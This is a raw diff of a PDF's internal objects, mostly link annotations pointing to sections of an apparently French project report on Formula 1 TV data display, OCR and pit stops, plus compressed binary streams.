682.823622 555.889134 668.423622 ] /BS << /W 0 >> -/Dest (Code/Reader/:readercs) +/Dest (.:quand-un-pilote-a-fait-un-arret-aux-stands) >> endobj 170 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 445.043622 557.809134 426.933622 ] +/Rect [ 63.386457 667.673622 555.889134 647.003622 ] /BS << /W 0 >> -/Dest (Code/Zone/:zonecs) +/Dest (.:affichage-des-donnees) >> endobj 171 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 440.483622 77.821193 427.683622 ] +/Rect [ 63.386457 662.153622 93.647199 647.753622 ] /BS << /W 0 >> -/Dest (Code/Zone/:zonecs) +/Dest (.:affichage-des-donnees) >> endobj 172 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 440.483622 557.809134 427.683622 ] +/Rect [ 544.436985 662.153622 555.889134 647.753622 ] /BS << /W 0 >> -/Dest (Code/Zone/:zonecs) +/Dest (.:affichage-des-donnees) >> endobj 173 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 426.933622 557.809134 408.823622 ] +/Rect [ 71.386457 647.003622 555.889134 626.333622 ] /BS << /W 0 >> -/Dest (Code/DriverDrsWindow/:driverdrswindowcs) +/Dest (.:affichage-direct) >> endobj 174 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 422.373622 77.821193 409.573622 ] +/Rect [ 544.436985 641.483622 555.889134 627.083622 ] /BS << /W 0 >> -/Dest (Code/DriverDrsWindow/:driverdrswindowcs) +/Dest (.:affichage-direct) >> endobj 175 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 422.373622 557.809134 409.573622 ] +/Rect [ 71.386457 626.333622 555.889134 605.663622 ] /BS << /W 0 >> -/Dest (Code/DriverDrsWindow/:driverdrswindowcs) +/Dest (.:affichage-calcule) >> endobj 176 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 408.823622 557.809134 390.713622 ] +/Rect [ 544.436985 620.813622 555.889134 606.413622 ] /BS << /W 0 >> -/Dest (Code/DriverNameWindow/:drivernamewindowcs) +/Dest (.:affichage-calcule) >> endobj 177 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 404.263622 77.821193 391.463622 ] +/Rect [ 79.386457 605.663622 555.889134 584.993622 ] /BS << /W 0 >> -/Dest (Code/DriverNameWindow/:drivernamewindowcs) +/Dest (.:affichage-hybride) >> endobj 178 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 404.263622 557.809134 391.463622 ] +/Rect [ 544.436985 600.143622 555.889134 585.743622 ] /BS << /W 0 >> -/Dest (Code/DriverNameWindow/:drivernamewindowcs) +/Dest (.:affichage-hybride) >> endobj 179 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 390.713622 557.809134 372.603622 ] +/Rect [ 79.386457 584.993622 555.889134 564.323622 ] /BS << /W 0 >> -/Dest (Code/DriverTyresWindow/:drivertyreswindowcs) +/Dest (.:affichage-totalement-calcule) >> endobj 180 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 386.153622 77.821193 373.353622 ] +/Rect [ 544.436985 579.473622 555.889134 565.073622 ] /BS << /W 0 >> -/Dest (Code/DriverTyresWindow/:drivertyreswindowcs) +/Dest (.:affichage-totalement-calcule) >> endobj 181 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 386.153622 557.809134 373.353622 ] +/Rect [ 71.386457 564.323622 555.889134 543.653622 ] /BS << /W 0 >> -/Dest (Code/DriverTyresWindow/:drivertyreswindowcs) +/Dest (.:affichage-predictif) >> endobj 182 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 372.603622 557.809134 354.493622 ] +/Rect [ 544.436985 558.803622 555.889134 544.403622 ] /BS << /W 0 >> -/Dest (Code/OcrImage/:ocrimagecs) +/Dest (.:affichage-predictif) >> endobj 183 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 368.043622 77.821193 355.243622 ] +/Rect [ 55.386457 543.653622 555.889134 522.983622 ] /BS << /W 0 >> -/Dest (Code/OcrImage/:ocrimagecs) +/Dest (.:tests) >> endobj 184 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 368.043622 557.809134 355.243622 ] +/Rect [ 55.386457 538.133622 77.060285 523.733622 ] /BS << /W 0 >> -/Dest (Code/OcrImage/:ocrimagecs) +/Dest (.:tests) >> endobj 185 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 354.493622 557.809134 336.383622 ] +/Rect [ 544.436985 538.133622 555.889134 523.733622 ] /BS << /W 0 >> -/Dest (Code/Settings/:settingscs) +/Dest (.:tests) >> endobj 186 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 349.933622 77.821193 337.133622 ] +/Rect [ 63.386457 522.983622 555.889134 502.313622 ] /BS << /W 0 >> -/Dest (Code/Settings/:settingscs) +/Dest (.:comment-ca-cest-passe) >> endobj 187 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 349.933622 557.809134 337.133622 ] +/Rect [ 63.386457 517.463622 93.647199 503.063622 ] /BS << /W 0 >> -/Dest (Code/Settings/:settingscs) +/Dest (.:comment-ca-cest-passe) >> endobj 188 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 336.383622 557.809134 318.273622 ] +/Rect [ 544.436985 517.463622 555.889134 503.063622 ] /BS << /W 0 >> -/Dest (Code/recoverCookiesCSV/:recovercookiescsvpy) +/Dest (.:comment-ca-cest-passe) >> endobj 189 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 331.823622 77.821193 319.023622 ] +/Rect [ 63.386457 502.313622 555.889134 481.643622 ] /BS << /W 0 >> -/Dest (Code/recoverCookiesCSV/:recovercookiescsvpy) +/Dest (.:comment-ca-aurait-du-se-passer) >> endobj 190 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 331.823622 557.809134 319.023622 ] +/Rect [ 63.386457 496.793622 93.647199 482.393622 ] /BS << /W 0 >> -/Dest (Code/recoverCookiesCSV/:recovercookiescsvpy) +/Dest (.:comment-ca-aurait-du-se-passer) >> endobj 191 0 obj << -/Filter /FlateDecode -/Length 3021 +/Type /Annot +/Subtype /Link +/Rect [ 544.436985 496.793622 555.889134 482.393622 ] +/BS << +/W 0 +>> +/Dest (.:comment-ca-aurait-du-se-passer) >> -stream -xOo{6qw݀@ ⃝C( [|H@~\)FHQVTW~_1˛wQ"=~χ;Vs]ϣ6fGYǷw?n?Zͺ>}匍׻oG߻w[=~|mxwW2O|yN[G> ,7uc%'~gC:§|2z%99tsV -p&s粙J?ʮw3}(LyH'<ǒޒp5Jb< {$༈{"6 -$~I ɭP) -PWzl`, 0^ic:..-~.GJo!ynJ?`/-`̶Jy D=!1pĿ́oN-$٨~9حJy yК(P2A<1Rb9]94 r%Τ`j F @aA. r]bL.{'j r1Ca^J? ^6R!9\[9v)!43rO6J`$YE CS -CbQJ?`_J`_hU@iăX -3P(mxP53}*pHo!p3f?~AKo!g.H)m -Q(,è$F c a[)RbUy1)~Ky S I # `f(o|a`WB1@bB?F`PyfHa\J(j98j 98\7Ħ[d=9zM8#*S "#Ya@b 59Zu-FVK46CűrȪq ruUA֡/-䠱UAC@׌}lBz 9(#2r5֥R="#YcKz 9hN 1pvjrМR w]2prGĮ\G b(oqrgPr2Jdm4-N6Ldm'YKj`6R8Oj'ѽ)oqr݇99'm% !*D r_34=TA4[DSdߕ89hr;59^99^C,"dcTAJ GXr-- "t#b f?SQIo!ݩ$(-bG :G :s- :+#rrЃT!=$I Cz_J Gnsh(99HfՀP= T="6[{EPyR9> w[TE LPH 5O\{S >U(AR )lط4(sAֲ{}(m~Ak(o r:U(As -W R= M fC䚅95[U( U|߽[XUk3rG1%# -r0x!-`ľ#K`AT w\z 9\#o?Pژ6j!~An[(&1p.DJ?eJyḲQc)oIr0p#Jr-B?IƢڠ8C 1p^1r9r-I2GzDI2GKyK\СzDIfIr05FQT%AƿT(}(oIr0p( W![Sނ\blJ? c[[p0 -CQ(maQnG MyK#JrS̰.LWBTIo!3R=$4T(A8rNS̤¹6$*U(,j rG G W[ĝUCSI\)d%9ku-$t#*r*#*rpS– 5L0B?`-C[L+#?F{~}4Nj~ٟx!}ʾOݷ.]y?_2ĸz`Y57:>34s/ge<΄gL޿<{'':{pH;q n'oN87Os:vzW#"7urg:2x/~mZRs~]1z]ϯ{=bϷ䗯u_K^~χc]a{;?ΫuԉM#I?˲?9z:k_5_ ǷF/xyzC|pmߨ۳a|Vߛdjqw>潶No~gݎ\wMswW71|g'B=h@ns8ޜKL^|b -endstream endobj 192 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 191 0 R -/Resources 4 0 R -/Annots [ 193 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 63.386457 481.643622 555.889134 460.973622 ] +/BS << +/W 0 +>> +/Dest (.:lecons) >> endobj 193 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 685.485222 37.466457 673.082022 ] +/Rect [ 63.386457 476.123622 93.647199 461.723622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/PosterV7.png) ->> +/Dest (.:lecons) >> endobj 194 0 obj << -/Filter /FlateDecode -/Length 392 +/Type /Annot +/Subtype /Link +/Rect [ 544.436985 476.123622 555.889134 461.723622 ] +/BS << +/W 0 +>> +/Dest (.:lecons) >> -stream -xRn0 +UIIȡvv)v؆tiwkEӶ(||$Fp@)cR5w1@٦w=$VhXբ&DFT$>M.%s*hUK1\n1A|hN"lʫŴ9:ZV;l؋Y|B:;_Tt2UdNF?Ord*țuÂ;Rl@b88ۯ߾8+zȟٍBfWbI}:= }]%!72IZ+!DQzV(Bms0AyuZIL۔6`Ňu LOwvCü;<A)T -endstream endobj 195 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 194 0 R -/Resources 4 0 R -/Annots [ 196 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 460.973622 555.889134 440.303622 ] +/BS << +/W 0 +>> +/Dest (.:resume-des-difficultes-techniques) >> endobj 196 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 35.485895 ] +/Rect [ 55.386457 455.453622 77.060285 441.053622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/PosterV7.png) ->> +/Dest (.:resume-des-difficultes-techniques) >> endobj 197 0 obj << -/Filter /FlateDecode -/Length 4335 +/Type /Annot +/Subtype /Link +/Rect [ 544.436985 455.453622 555.889134 441.053622 ] +/BS << +/W 0 +>> +/Dest (.:resume-des-difficultes-techniques) >> -stream -x͜[%IWg@S^zJe~'3VS3u2WFX֎]/?&?JNrS1׌0bJP)k_']q+yӿũ8Wjxdj/xOs4$cEpӲR9%S -AGbNٔH̩*1l̾F$f1I 1#A'aoUb9z0ĜSQ11JVsV%KYLjdp0+)dbImČj!+ndb{+bnF!fH 1[SHG_-Ձ%&5a$&8O)tR[@>5/1`;\-ؠ3zsHe&t*m &#O},EiK3V%he!kpN -G!f\ |9C0 zgJ[>U/1Č6|gr |1(hYC켛>-A_-+m 'kbn? :HTI?ooު>9>&!PѠ$YUAj >[bF>x- 3R7As$PC& @b9D|J[ )RbҖHI 1'O𢴅!C$-G/k&tPAd 9s& k)ma -* >Țg 9> -9s>j̪4tN05(m Tu(⃬"(m`h%QYe-,):r`AjRAjQ5F6Fc-`d#jD 7؋C̘IEj >YFT:|gQFA֘ڂLR5ƊE|5֤1H 1'r|0&n*eC AOV5"v`jS52AiKcF? dm8- dmDU#J k#+mI kC  9Fce)K 1Wr%T(*mI`l,f!D |06$&Lp:s)mI FA6^iKS(1a><9>_%|?Yz)Ej >ʩQS PլjD L]>|&U#b U&B%LLRa^ڂ&S53jD gIj >ϊ%|0V&#b?`ؗ>>Kzl J[ CMՈ ރ?jS5"SiUՈLO+m1ߟC̕@Aє>ˢFd`j '$9}Tb sUA澩$6^iH$/l`/->ȼתjDb(^՟ dU$-9-FdiTb sTATAJm-6jDϤY,4UՈf05HmS5"y/FCR[A3rIƲ?>+R[A:჌uڂ2EՈX4r|G-&1\))-de|q,J[2>h(e|-c?F Ar@bA()m cU(ヌQSڒC@'ّnd|;U# SYiKT(9%9 -s? }sJ[$1A֔*`̑@qD e|e|ҖQsE/8)Ej >5U# 1U# 1|e|0grL+1r |0cF\7AT(T(ܯHm3jD*U9ヹ,de| LNFTA*FTAvNi [J0Sj!O< < m3>Q xFR=R6-,|`?|oLMFTAҖT1wU#b!PK$P|3{ :nx݂[f<{^Ə|A?ݔ4916zSp׮ؿ.?讶\r7Զ7 ]m}/z|MYޑHV/~3;e.ߟ/{m -_7ڂ٦BcVLx3׸t?o-ޣxçf,g?;.JN)?=tVVl0hn d02gg/Lmz1/q7gigA?;}nT#T> #ٴc_'7}k'Qgrn>{_϶bo|הC/fl\>oqlmږ{Y~vsk{{4bڳ+cr]gXLB2S܇ ?үqן0p6:| m~Z'`gZ18o= [nZɷO|[_kI,86z%LЕiЖIN>X`_lng[I=ǵ]kh6W;qU1N>v=t\]ä͌?L<0Yu m9nqŹkU-=>_3>]a·*ӮU}TɴqηĿ N9v9y{Y`dO"ĕ, auveJNoW~,cl*o۱)F۪Fwr>.ڳ/< oXlωa5ǛW *kdK_A ?x['qc6ݰԹC k[sl˜p?090~ρetKiܯ?ɻnbnEx>+1n{6 _S+oo|魴˯=-I+'sf?i5S#RKm%mRTtKx0v]MGs-q 7iǴq}cn䣬TX#Ve?-7l }<:<\nd>oĺ!!-cVd9oMe}<}O|^n%\-+G=2A=j>u:G39bzVP+DReQ>הAun#xY>"ܬ?fT=0֒}ʯW#Lv7_tS -endstream endobj 198 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 197 0 R -/Resources 4 0 R -/Annots [ 199 0 R 200 0 R 201 0 R 202 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 440.303622 555.889134 419.633622 ] +/BS << +/W 0 +>> +/Dest (.:optimisation-du-programme) >> endobj 199 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 771.023622 297.637795 758.620422 ] +/Rect [ 55.386457 434.783622 82.786359 420.383622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/PosterV7.png) ->> +/Dest (.:optimisation-du-programme) >> endobj 200 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 564.991722 37.466457 552.588522 ] +/Rect [ 544.436985 434.783622 555.889134 420.383622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ScreenF1TvData.png) ->> +/Dest (.:optimisation-du-programme) >> endobj 201 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 564.991722 557.809134 272.298966 ] +/Rect [ 55.386457 419.633622 555.889134 398.963622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ScreenF1TvData.png) ->> +/Dest (.:ethique-du-projet) >> endobj 202 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 272.298966 297.637795 259.895766 ] +/Rect [ 55.386457 414.113622 82.786359 399.713622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ScreenF1TvData.png) ->> +/Dest (.:ethique-du-projet) >> endobj 203 0 obj << -/Filter /FlateDecode -/Length 6010 +/Type /Annot +/Subtype /Link +/Rect [ 544.436985 414.113622 555.889134 399.713622 ] +/BS << +/W 0 +>> +/Dest (.:ethique-du-projet) >> -stream -x]]$}_ l6f{ke!Ut\Ted*::'RUG~isI1<%1[ /?|Rc [lެ5M7 ޛzC?%cRN:-1KWv374tk/D{ A6LmP"3o- q_w̖= ƹ A m$Ffs.oU ~My]]{e Tm`NP]Ϸ>w=2"CLnbwsr\gi.ޏ `3%zGnbL60I˔;\`6eHZxjˌF oS |'lJdLb|xjCpz02>2ςgY>Oyc9B |g69HqF3Tъ~d%S| ?SY -lrp& ~"|ήPn |{3Ԟ$\ ? >=FPDm3tK~2o/l`Ra#`M+/ ?\ īb |F T[ !>#bG-Gmೃ qB}f=2>%-:P )`⠃D>g`⠃Vgr!qA+6k `6A0nqA]>CN tF AdQ t& ?Ap> -to'-:hse)bKk8EJR |.~ tt A6qshe:a:tf666d |l ?AQn%P w ?Aܒk&Lm3$1l@/E |~{t99;<6Kj~e⡃. |`?:O[bؠc>K ,[ YACA˸lPx a܂+lVfĜG |N6.!69%teYiCՆMv[;:- }g:-` `60ls9XQoϸ%BᷰQ:[-e5"dIr t0J)FɱQ'OՈ"t0FL+|N6RjD:r sFhOX(B^`gV#&yVKD E e@`% X(A6[ rjalnG6= ]b5dIv:1nI䬰Q™ :˸I lr`5Odܒ)F;a9t0y:39܂Eӻ͸sh>m6}}p.n~?OcBُRXΦ5[L~Fp^^ϰ}3o~|Vܟvܓgݞ_#|Eqok[|~ڛ;|57?{ͧzOkkͮ-f~z9S}q[iʩ>(T{g?Yड़\!h;0;/} @v^k?݀ߓT g:`=ۃRAzhѯO/=@v3V5`ϷtPvA -ݗ>U~ - u +3YPz1i9ӂ4`{sYfݳ@(}_AY͜mk}T,ҙ8<N<'Xc5@B*'@L>4gp v};(Bb@h4isIA@I_o V=8c`@w_Y5C^pz̐<ـa﷞)Zo~zԌUq_ 31u쯅si2ޫicK jO%"|=|ia~GhH%<-鴁4{YZՠѯfL~Hri|ɌCjc$+}oZGJ: EWx1CQahю{i:M'^-t -4st#婨jNĕW"U-- Y,X:RC~jPfZaSN?q)s٦ʴбԙR˨:^lmwQ^g8kp CT^fL_o9(jka8S٨*b/!IMDL쳵ʛ^MkuHU*Gz -Cw*chCpgT쥣yH:Jdt){mMDџ.aAnȈ!W29e|SF* zϲ=-U*;O*vdhmju}T||u3^?h2:IWxmB>h9}1ZWĜz<U)wLc=]|wU/phĥ^GutJ0w/'޻xF8|g֝߁E8HCK/^I`tUy[͹rNqFh_])ȷCL`\R>7#yVcYSz;Ivs~85mzi=Oki>S´ܤׂH*^֏z*ӲlF%Zٌ{ʹx 6IS hUWcʕG}"qk#~Fk,v3T?$%rIFeĔ8O/:DMm;:u=wI0x?pV״D3p+Mrv!e@Vo1V*w.|7#XF[>ö| \'*hKL$hMT -=gjEݮ9[6:sjXfa K TSt ˜uV y7y5R{\}ayMz7+ARV$ bdPtaL-8-- -WsgڳENҊFI[uCrAV!SyS~vn)y܋aJ{B9' r>[}G+JU#9@6;މeqz"x5jEu-x#x ^2L^VJbMw$pj,\YbBZ{?~7@mzT -f{hm`J\sYːo?E*dtx]^|ZY##v=%2n^C8;nnm|#ƫ^%o} XN+d,_ghKs}j ͗~[hCms.yg2.%Lo65Mt#m%XAss>thqV̚cH*\'mu 1np,7QHFr=kO Zr??jAp -endstream endobj 204 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 203 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 398.963622 555.889134 378.293622 ] +/BS << +/W 0 +>> +/Dest (.:utilisation-de-chat-gpt) >> endobj 205 0 obj << -/Filter /FlateDecode -/Length 4939 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 393.443622 82.786359 379.043622 ] +/BS << +/W 0 +>> +/Dest (.:utilisation-de-chat-gpt) >> -stream -x͝kʕW9?1! Blw;/$!QI%iݹ4oH[U^kזtb mO v*_~냙r4-v>OFc S(Ŗm5s)M~ׇ?>C>W?ecrɏ:7E[S>od7:úC=]۟Bjt8lC+? -7kRrϥwfhg}؁ I1ulCpNz|)*2CEsd6<>Gg()|FdXe1ze)dE*6s)ψrdKRUB/ؔMG -? [HO >^a#sAM+d|Fg?K|pTdbJ Whd[0iZOiK[@>U+m6 -??[Ami$V[ډ6,'m!?2Y8t=C'p 6(nq JAp -Ҧ~:h#9Ɔ@٠]TAXiiUAm"P@9Am&PA2g > -? \8tЖRm:hKL[:hIIJS!)tA@a@ڤu, -?3 - D8+ 9:e#mh/ -? t[Ah>iϐSA+_|6̂d t~Q'PAQr :<9gO 9wx-R3W-t60BYq S 6?66%*n ^( Af*n!@s" 1o}*tg >gr teriυ -+>ҐG˥jCl:)NqG稪C$QAţf -Ddgē7&aCAqGլjDl0:I% -l6AЪGàjD$k؄,yt Uk'Qr :ز(U# 1f%4TȣXV5"cUr :9@@W -`[&l6:H$U#b׉MFA)n O0A}Y՞:Hl-$6tH[:HlTU#\ؐ5ņ@`# 9O@WApU((n 蠯 -~A_D tWH7iQqK@tQ5[:GiD+(lթQ@kTg6S+HnAXU# -`p - T(UA܂ jD삱)Y՟IQInAC T6`+GInAQ@U5 gYՈ:"RH m9(!!_ - F9JzA0Dt UU# T&GU#`ȵ |X-ѶH@B AQDtEU(lSl >Wr^qKDYjDd?Gt*n`4QͪVZV5@6 -? Dtu-FAŪsD%lNEt0iTA̩QDYjDd͊t0jU(WgRHW܂FUՈfl܂QՈ =jD4$@٠$cI՟#:*[AکQD d4S -? C[A̖HlL)nI`%tẙ[:aU#J [FWb`q1t0Vriϕ@=02GAqKBjD d▄NՈ: 9OB!H 7FAU&%- dUՈ:u[:\p(|v^dlFq t016 >{rtU- -6L@a %t%t▄wT5wQ&36̲KnASUՈ:ONՈ:OQr :OEՈ:9|39:JU#J` -1L m(% vV5"U9$dq`\ؤjDpV56[RbC m -6?ؐ'݄< m3:]V56B̤z̤l[2:FA)A~lJP5dtjDl 9:=9A3i?sras 솷.*ݿqnkۖ^uEgw07=1pÇV㇁;E4wQṅTr;l@o/~?ߦß>^ 7xŘg>~ڿv.9 frM(׸|]Z>7>?l׶6c~_nm69 /7f3:nkgmeϏw"do(j' `۱y7'g~G0]Oz='knshAwmm|ͯ xyY̓-mǽ8_v}.,sڌn`?8uAhF`_Aakفdd1wlA0>!x ,3߿TƧ)g}lX>3Lk.10n>`¸@CGʸ:ǝtss21r[{G4qb7'#:";zqh/z<'vjָT+O@;۔k [Aڂi8ƤBqӝUǤ&ls]0oFw(cT}pntM"9,f'vg:t0p";o{-.8y7Y|$^LeT5.?%i^2ܺ 8g:`T4wr3F׷KM<>=Ҁc² ʛ8gAϏ3jnʷ =\W3[ ni -6aGĿU|3a;K@FZ^ν綷].<wWB'xv갿[<s o/w:٪'1#.+#Cz٥]h](U^M{*ڱLGɷ "%۩VD>ƍ^:P;L1[H8V1eâ~K pDݜJ/dEض2v) -k`5(eo0F. C-=띯ߪKٷ'J~w7؎3!5J9:k32ld/ y\y;ӠՌYG⬣\؟|4֥a҆T<]Tٝq.}L^/ Ώ p܀ #ZwH:۷-ԺI-Q|E:zڻ vߝo\;}̷]cA -[)+;NH0c)fƜ\Z5kDw?hLb4|,|G?.;[t ْ&zmaKPǂfgܵVzABƽh^uFQn؆Ͷ,B g[y籨Iha:V{>zS>Ӌ)C @dTQo@og5~|2g/z]rgEؾ'څ`Z<7 {p5(bXTrwӶmjW_"`%cjz1O|nnn7Ů+82w_ԋƑrB;l}H'1#X^)pH::ȷ徚9 {/ ӷVЇWxN#l^.Xfwk17o׻$dMgË -/1rXW{> w3wgbg5s_aV"_ln{eǸtnU<œ|]ͦNֱS4#w/ OO]͹uU7OU7S,_#|W7]Q7~ww~xﻒ}_[?}i|K &ھe|v}{?[cᱱ:}ni]uo&}vkҾ%ҾX=$wElK4R`rI4JvPzywUž9ڶMl[?u -endstream endobj 206 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 205 0 R -/Resources 4 0 R -/Annots [ 207 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 544.436985 393.443622 555.889134 379.043622 ] +/BS << +/W 0 +>> +/Dest (.:utilisation-de-chat-gpt) >> endobj 207 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 278.639622 37.466457 266.236422 ] +/Rect [ 55.386457 378.293622 555.889134 357.623622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/Formula1DataChannel.png) ->> +/Dest (.:ameliorations-futures) >> endobj 208 0 obj << -/Filter /FlateDecode -/Length 1604 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 372.773622 82.786359 358.373622 ] +/BS << +/W 0 +>> +/Dest (.:ameliorations-futures) >> -stream -xYn6 ߯TC% Ȣhv3@(ur]L^(Yv^&,)Μ֨ej?iDw>_.2뵰f)qBR2|}v^2 `]8iq_ϗ+g|r گaQiQ@Pw|NU a:L: ,jȮt6px'N"x!}% - dlH0 45rfQg B5=aIΌKo$>5I[)[>w8lC!#% v"ph90rkKYU?/-6g>[OquXL8C!ƳbwLe Bm(dT{:2PiWFz(J -nXLgYce 6wt4@]@[ qB @NZ簟] -E&LJXWӠM kvT?5L^*I<;$ɱ3wT8)*w-ᢱ荀B]--[R*MkMEؼNJS*X}HYO$B|&LMz`w6'ꧩZ -+*ߑZ~/]ip}tk ,eѳMb#혋M֐?(+GrwTYuΏ7?Z1%]Ťa79(vc^iz8;z F 9Cj<珤$Gk"Ff>A1.;u4'i8pf"]-:y!=8!zs=$!BkC$2v@lRa[ƦT7Xȓfhrk7_gv㳩~.9!Mݻv3FQFyv1Rj90y>f4c=('w -'TЂdXtS=O2?>$f' ܛ}D_k!т;L|uU\X7oZr.1o2bxc⏭̃!\GB/[ff&EB shAt'QXFwE)B -endstream endobj 209 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 208 0 R -/Resources 4 0 R -/Annots [ 210 0 R 211 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 544.436985 372.773622 555.889134 358.373622 ] +/BS << +/W 0 +>> +/Dest (.:ameliorations-futures) >> endobj 210 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 478.872890 ] +/Rect [ 55.386457 357.623622 555.889134 336.953622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/Formula1DataChannel.png) ->> +/Dest (.:conclusion) >> endobj 211 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 478.872890 297.637795 466.469690 ] +/Rect [ 55.386457 352.103622 82.786359 337.703622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/Formula1DataChannel.png) ->> +/Dest (.:conclusion) >> endobj 212 0 obj << -/Filter /FlateDecode -/Length 4164 +/Type /Annot +/Subtype /Link +/Rect [ 544.436985 352.103622 555.889134 337.703622 ] +/BS << +/W 0 +>> +/Dest (.:conclusion) >> -stream -x[#Wڼ2`ca?tlfeJ*bzqOiI<qts5Vr:=ホ9͈͋xTO-MV_۩:yB'K1r?_Zs!L[~7~rᅆM]J̇mO采Ԧf`ok,006=6w̷)y@zAɦ?=۔bMWs9cDO Ob HM-IU!ܜsiǐLn-т-VncH!bV­­$ [Kp -B%V!n% 2Tm%!ܖcdjv/]/-2,Ȁt9g))He)Q1`BhC>Yt=)1웏3s FSW&10jP"=1GgQb9dbs, `ZVJ1'+ 1Ĝ)1؋KT!fc7"1[Ib? SHĜC9{!朊9ƈsVI\V%KYLjdV&s%"şL54-Q"1\1{ +L!+bnF!fH 1[SJ_-Ձ%Բ^q&0L%GS=Yj ȫ%l zڂ hK 1X)m!w+H 1_TfB7ҖbP_a9|R|I 1cJ[>&ZbN& gPAobƕOnk0 -w%]CiS=?-${̦0/?oISCl>-TjYiK=)Ibn? :HTI?oo`#P 0 T3*0HmyKC̈}P/D_bbfB>4b?`Ѥ!H 1GrQi $YJ 1U)! ^0`pm0Քp ] AF+m!C 1Ĝ">ȚwJ[ؾ -!!BB 1\y* E|00]6ĦL J[">z6U :|0J[">Z@u7$&!PYIiKYEՈ">`>I -0 ЫQYIՈH",BU#`@֌|OlLj >س(U# kKm9MR5ƊE|5֤1H 1'r|0&R{]Ո2!H 'N0Q%1 -lE՞>pJ[>ڈFAFVڒAFS5"@)rRb? QiKὩQ}UڒXC "*1`l0 Ӧ%pQ{- Lъ?` | FAjfq- +jD L@qDVX|.- $LF.3*-`Jd -r|0q2U#J }SgIl͑FI 1{_T^ZV5"K R|y5-2UՈ P?>ȪHJ[ dsZTAcӨA,̙YڂZl^Ո 4 ^՟I%]Yj  aU5"L R[ATaKFdq"-9$cY՟ s- cTA:ImjD, -9>Hף| -Lb.l~ɔҖ2IՈ2>8-4AՈ2>Ȗ1QAkC̍@]02FIiKjDdҖ2AՈ2>9O# wFAUҖjD-̡W8WSڂL-&!HҷUC0` bXT(T(d|MՈ2>HU՟3>-z-`qU,L)R[85U# 1U# 1|e|0gryM+1r |0cF\7A FA3U# -`FUAS?g|0ז sS5r.|sU#* ;a-%r`H5+K~WTߍP<#z )ҖMՈ ->H0U՟ >+m!S|GVRAMՈ ->/sW5":r |Dr i?s 澅̸ wиD[]nܠqf~MyzSMߖWc -P?<|7 !s><[b<Ⱥ#ix,Eguyy__s??٠;K|ۜcy|~>c{~cm=q͟Cehwc=۽,.cKuL>֛qy>SO{Ac 